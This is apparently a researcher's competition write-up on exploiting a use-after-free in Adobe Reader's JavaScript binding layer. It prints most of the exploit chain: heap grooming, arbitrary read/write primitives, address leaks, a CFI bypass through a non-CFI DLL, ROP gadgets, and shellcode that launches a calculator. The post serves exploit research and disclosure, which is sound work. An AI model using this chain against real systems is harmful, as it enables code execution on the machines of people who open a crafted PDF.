Last year, I participated in the TianFu Cup competition in Chengdu, China. The chosen target was the Adobe Reader. This post will detail a use-after-free bug of JSObject. My exploit is not clean and not an optimal solution. I have finished this exploit through lots of trial and error. It involves lots of heap shaping code which I no longer remember exactly why they are there. I would highly suggest that you read the full exploit code and do the debugging yourself if necessary. This blog post was written based on a Windows 10 host with Adobe Reader.
Vulnerability
The vulnerability is located in the EScript.api
component which is the binding layer for various JS API call.
First I create an array of Sound
object.
SOUND_SZ = 512
SOUNDS = Array(SOUND_SZ)
for(var i=0; i<512; i++) {
SOUNDS[i] = this.getSound(i)
SOUNDS[i].toString()
}
This is what a Sound
object looks like in memory. The 2nd dword is a pointer to a JSObject
which has elements
, slots
, shape
, fields … etc. The 4th dword is string indicate the object’s type. I’m not sure which version of Spidermonkey that Adobe Reader is using. At first I thought this is a NativeObject
but its field doesn’t seem to match Spidermonkey’s source code. If you know what this structure is or have a question, please contact me via Twitter.
0:000> dd @eax
088445d8 08479bb0 0c8299e8 00000000 085d41f0
088445e8 0e262b80 0e262f38 00000000 00000000
088445f8 0e2630d0 00000000 00000000 00000000
08844608 00000000 5b8c4400 6d6f4400 00000000
08844618 00000000 00000000
0:000> !heap -p -a @eax
address 088445d8 found in
_HEAP @ 4f60000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
088445d0 000a 0000 [00] 088445d8 00048 - (busy)
0:000> da 085d41f0
085d41f0 "Sound"
This 0x48 memory region and its fields are what is going to be freed and reused. Since AdobeReader.exe is a 32bit binary, I can heap spray and know exactly where my controlled data is in memory then I can overwrite this whole memory region with my controlled data and try to find a way to control PC. I failed because
- I don’t really know what all these fields are.
- I don’t have a memory leak.
- Adobe has CFI.
So I turn my attention to the JSObject
(2nd dword) instead. Also being able to fake a JSObject
is a very powerful primitive. Unfortunately the 2nd dword is not on the heap. It is in a memory region which is VirtualAlloc
ed when Adobe Reader starts. One important point to notice is the memory content is not cleared after they are freed.
0:000> !address 0c8299e8
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: <unknown>
Base Address: 0c800000
End Address: 0c900000
Region Size: 00100000 ( 1.000 MB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0c800000
Allocation Protect: 00000004 PAGE_READWRITE
Content source: 1 (target), length: d6618
I realized that ESObjectCreateArrayFromESVals
and ESObjectCreate
also allocates into this area. I used the currentValueIndices
function to call ESObjectCreateArrayFromESVals
:
/* prepare array elements buffer */
f = this.addField("f" , "listbox", 0, [0,0,0,0]);
t = Array(32)
for(var i=0; i<32; i++) t[i] = i
f.multipleSelection = 1
f.setItems(t)
f.currentValueIndices = t
// every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array.
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
Looking at ESObjectCreateArrayFromESVals
return value, we can see that our JSObject
0d2ad1f0
is not on the heap but its elements
buffer at 08c621e8
are. The ffffff81
is tag for number, just as we have ffffff85
for string and ffffff87
for object.
0:000> dd @eax
0da91b00 088dfd50 0d2ad1f0 00000001 00000000
0da91b10 00000000 00000000 00000000 00000000
0da91b20 00000000 00000000 00000000 00000000
0da91b30 00000000 00000000 00000000 00000000
0da91b40 00000000 00000000 5b9868c6 88018800
0da91b50 0dbd61d8 537d56f8 00000014 0dbeb41c
0da91b60 0dbd61d8 00000030 089dfbdc 00000001
0da91b70 00000000 00000003 00000000 00000003
0:000> !heap -p -a 0da91b00
address 0da91b00 found in
_HEAP @ 5570000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0da91af8 000a 0000 [00] 0da91b00 00048 - (busy)
0:000> dd 0d2ad1f0
0d2ad1f0 0d2883e8 0d225ac0 00000000 08c621e8
0d2ad200 0da91b00 00000000 00000000 00000000
0d2ad210 00000000 00000020 0d227130 0d2250c0
0d2ad220 00000000 553124f8 0da8dfa0 00000000
0d2ad230 00c10003 0d27d180 0d237258 00000000
0d2ad240 0d227130 0d2250c0 00000000 553124f8
0d2ad250 0da8dcd0 00000000 00c10001 0d27d200
0d2ad260 0d237258 00000000 0d227130 0d2250c0
0:000> dd 08c621e8
08c621e8 00000000 ffffff81 00000001 ffffff81
08c621f8 00000002 ffffff81 00000003 ffffff81
08c62208 00000004 ffffff81 00000005 ffffff81
08c62218 00000006 ffffff81 00000007 ffffff81
08c62228 00000008 ffffff81 00000009 ffffff81
08c62238 0000000a ffffff81 0000000b ffffff81
08c62248 0000000c ffffff81 0000000d ffffff81
08c62258 0000000e ffffff81 0000000f ffffff81
0:000> dd 08c621e8
08c621e8 00000000 ffffff81 00000001 ffffff81
08c621f8 00000002 ffffff81 00000003 ffffff81
08c62208 00000004 ffffff81 00000005 ffffff81
08c62218 00000006 ffffff81 00000007 ffffff81
08c62228 00000008 ffffff81 00000009 ffffff81
08c62238 0000000a ffffff81 0000000b ffffff81
08c62248 0000000c ffffff81 0000000d ffffff81
08c62258 0000000e ffffff81 0000000f ffffff81
0:000> !heap -p -a 08c621e8
address 08c621e8 found in
_HEAP @ 5570000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
08c621d0 0023 0000 [00] 08c621d8 00110 - (busy)
So our goal now is to overwrite this elements
buffer to inject a fake Javascript object. This is my plan at this point:
- Free
Sound
objects. - Try to allocate dense arrays into the freed
Sound
objects location usingcurrentValueIndices
. - Free the dense arrays.
- Try to allocate into the freed
elements
buffers - Inject fake Javascript object
The code below iterates through the SOUNDS
array to free its elements and uses currentValueIndices
to reclaim them:
/* free and reclaim sound object */
RECLAIM_SZ = 512
RECLAIMS = Array(RECLAIM_SZ)
THRESHOLD_SZ = 1024*6
NTRY = 3
NOBJ = 8 //18
for(var i=0; i<NOBJ; i++) {
SOUNDS[i] = null //free one sound object
gc()
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
try {
//if the reclaim succeed `this.getSound` return an array instead and its first element should be 0
if (this.getSound(i)[0] == 0) {
RECLAIMS[i] = this.getSound(i)
} else {
console.println('RECLAIM SOUND OBJECT FAILED: '+i)
throw ''
}
}
catch (err) {
console.println('RECLAIM SOUND OBJECT FAILED: '+i)
throw ''
}
gc()
}
console.println('RECLAIM SOUND OBJECT SUCCEED')
Next, we will free all the dense arrays and try to allocate back into its elements
buffer using TypedArray
. I put faked integers with 0x33441122
at the start of the array to check if the reclaim succeeded. The corrupted array with our controlled elements
buffer is then put into variable T
:
/* free all allocated array objects */
this.removeField("f")
RECLAIMS = null
f = null
FENCES = null //free fence
gc()
for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
/* reclaim freed element buffer */
for(var i=0; i<FREE_110_SZ; i++) {
FREES_110[i] = new Uint32Array(64)
FREES_110[i][0] = 0x33441122
FREES_110[i][1] = 0xffffff81
}
T = null
for(var j=0; j<8; j++) {
try {
// if the reclaim succeed the first element would be our injected number
if (SOUNDS[j][0] == 0x33441122) {
T = SOUNDS[j]
break
}
} catch (err) {}
}
if (T==null) {
console.println('RECLAIM element buffer FAILED')
throw ''
} else console.println('RECLAIM element buffer SUCCEED')
From this point, we can put fake Javascript objects into our elements
buffer and leak the address of objects assigned to it. The following code is used to find out which TypedArray
is our fake elements
buffer and leak its address.
/* create and leak the address of an array buffer */
WRITE_ARRAY = new Uint32Array(8)
T[0] = WRITE_ARRAY
T[1] = 0x11556611
for(var i=0; i<FREE_110_SZ; i++) {
if (FREES_110[i][0] != 0x33441122) {
FAKE_ELES = FREES_110[i]
WRITE_ARRAY_ADDR = FREES_110[i][0]
console.println('WRITE_ARRAY_ADDR: ' + WRITE_ARRAY_ADDR.toString(16))
assert(WRITE_ARRAY_ADDR>0)
break
} else {
FREES_110[i] = null
}
}
Arbitrary Read/Write Primitives
To achieve an abritrary read primitive I spray a bunch of fake string objects into the heap, then assign it into our elements
buffer.
GUESS = 0x20000058 //0x20d00058
/* spray fake strings */
for(var i=0x1100; i<0x1400; i++) {
var dv = new DataView(SPRAY[i])
dv.setUint32(0, 0x102, true) //string header
dv.setUint32(4, GUESS+12, true) //string buffer, point here to leak back idx 0x20000064
dv.setUint32(8, 0x1f, true) //string length
dv.setUint32(12, i, true) //index into SPRAY that is at 0x20000058
delete dv
}
gc()
//app.alert("Create fake string done")
/* point one of our element to fake string */
FAKE_ELES[4] = GUESS
FAKE_ELES[5] = 0xffffff85
/* create aar primitive */
SPRAY_IDX = s2h(T[2])
console.println('SPRAY_IDX: ' + SPRAY_IDX.toString(16))
assert(SPRAY_IDX>=0)
DV = DataView(SPRAY[SPRAY_IDX])
function myread(addr) {
//change fake string object's buffer to the address we want to read.
DV.setUint32(4, addr, true)
return s2h(T[2])
}
Similarly to achieve arbitrary write, I create a fake TypedArray
. I simply copy WRITE_ARRAY
contents and change its SharedArrayRawBuffer
pointer.
/* create aaw primitive */
for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
FAKE_ELES[6] = GUESS+0x10
FAKE_ELES[7] = 0xffffff87
function mywrite(addr, val) {
DV.setUint32(96, addr, true)
T[3][0] = val
}
//mywrite(0x200000C8, 0x1337)
Gaining Code Execution
With arbitrary read/write primitives, I can leak the base address of EScript.API
in the TypedArray
object’s header. Inside EScript.API
there is a very convenient gadget to call VirtualAlloc
.
//d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API
ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0 dq ?
console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))
assert(ESCRIPT_BASE>0)
Next I leak the base of address of AcroForm.API
and the address of a CTextField
(0x60
in size) object. First allocate a bunch of CTextField
object using addField
then create a string object also with size 0x60
, then leak the address of this string (MARK_ADDR
). We can safely assume that these CTextField
objects will lie behind our MARK_ADDR
. Finally I walk the heap to look for CTextField::vftable
.
/* leak .rdata:007A55BC ; const CTextField::`vftable' */
//f9c59c6cf718d1458b4af7bbada75243
for(var i=0; i<32; i++) this.addField(i, "text", 0, [0,0,0,0]);
T[4] = STR_60.toLowerCase()
for(var i=32; i<64; i++) this.addField(i, "text", 0, [0,0,0,0]);
MARK_ADDR = myread(FAKE_ELES[8]+4)
console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
assert(MARK_ADDR>0)
vftable = 0
while (1) {
MARK_ADDR += 4
vftable = myread(MARK_ADDR)
if ( ((vftable&0xFFFF)==0x55BC) && (((myread(MARK_ADDR+8)&0xff00ffff)>>>0)==0xc0000000)) break
}
console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
assert(MARK_ADDR>0)
/* leak acroform, icucnv58 base address */
ACROFORM_BASE = vftable-0x07A55BC
console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
assert(ACROFORM_BASE>0)
We can then overwrite CTextField
object’s vftable
to control PC.
Bypassing CFI
With CFI enabled, we cannot use ROP. I wrote a small script to look for any module that doesn’t have CFI enabled and is loaded at the time my exploit is running. I found icucnv58.dll
.
import pefile
import os
for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'):
for file in files:
if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'):
fpath = os.path.join(root, file)
try:
pe = pefile.PE(fpath, fast_load=1)
except Exception as e:
print (e)
print ('error', file)
if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0:
print (file)
The icucnv58.dll
base address can be leaked via Acroform.API
. There is enough gadgets inside icucnv58.dll
to perform a stack pivot and ROP.
//a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll`
r = myread(ACROFORM_BASE+0xBF2E2C)
ICU_BASE = myread(r+16)
console.println('ICU_BASE: ' + ICU_BASE.toString(16))
assert(ICU_BASE>0)
g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
Last Step
Finally, we have everything we need to achieve full code execution. Write the shellcode into memory using the arbitrary write primitive then call VirtualProtect
to enable execute permission. The full exploit code can be found at here if you are interested. As a result, the reliability of my UAF exploit can achieved a ~80% success rate. The exploitation takes about 3-5 seconds on average. If there are multiple retries required, the exploitation can take a bit more time.
/* copy CTextField vftable */
for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
mywrite(GUESS+64+5*4, g1) //edit one pointer in vftable
// // /* 1st rop chain */
mywrite(MARK_ADDR+4, g3)
mywrite(MARK_ADDR+8, GUESS+0xbc)
// // /* 2nd rop chain */
rop = [
myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
GUESS+0x120, //return address
GUESS+0x120, //buffer
0x1000, //sz
0x40, //new protect
GUESS-0x20//old protect
]
for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
//shellcode
shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483,
1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903,
605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611,
1018101719, 2425393296]
for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
/* overwrite real vftable */
mywrite(MARK_ADDR, GUESS+64)
Finally with that exploit, we can spawn our Calc.